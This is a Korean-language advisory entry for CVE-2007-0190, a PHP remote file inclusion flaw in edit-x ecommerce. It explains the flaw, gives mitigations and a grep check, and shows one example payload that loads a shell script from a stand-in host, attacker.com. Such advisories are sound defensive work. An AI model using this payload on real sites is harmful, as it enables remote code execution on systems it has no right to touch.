🔍 CVE-2007-0190

7.5
CVSS Score
HIGH
2007-01-12
2026-04-23 00:35
✅ 완료

🇰🇷 한글 설명

edit-x 이커머스 플랫폼의 edit_address.php 파일에서 include_dir 매개변수를 통해 원격 파일을 포함할 수 있는 취약점입니다. 이를 이용하여 공격자는 원격 서버의 PHP 파일을 실행하고 임의의 코드를 실행할 수 있습니다.

💡 쉬운 설명

웹 애플리케이션이 사용자가 제공한 파일 경로를 검증하지 않고 포함시킬 때 발생하는 문제입니다. 해커가 자신의 서버에 있는 악의적인 PHP 파일을 실행하도록 만들 수 있습니다.

🇺🇸 원문 (English)

PHP remote file inclusion vulnerability in edit_address.php in edit-x ecommerce allows remote attackers to execute arbitrary PHP code via a URL in the include_dir parameter.

📍 영향받는 시스템

edit-x ecommerce (버전 미지정, 2007년 당시 버전 영향)

⚔️ 공격 벡터

include_dir 파라미터에 원격 URL을 입력하여 악의적인 PHP 파일을 포함 및 실행 (예: ?include_dir=http://attacker.com/shell.php)

🛡️ 대응 방법

PHP의 allow_url_include 설정을 disable하고, include_dir 매개변수를 엄격히 검증하며, 화이트리스트 기반 경로 제한 적용

🔧 검증 코드

include_dir을 사용하는 PHP 파일들을 찾아서 매개변수 검증 로직이 있는지 확인합니다. 검증 없이 직접 include/require에 사용되면 취약합니다.

Shell / Script
grep -r 'include_dir' /var/www/html/ 2>/dev/null | head -20

📊 CVSS Vector String

CVSS Vector
AV:N/AC:L/Au:N/C:P/I:P/A:P

💻 영향받는 소프트웨어

PHP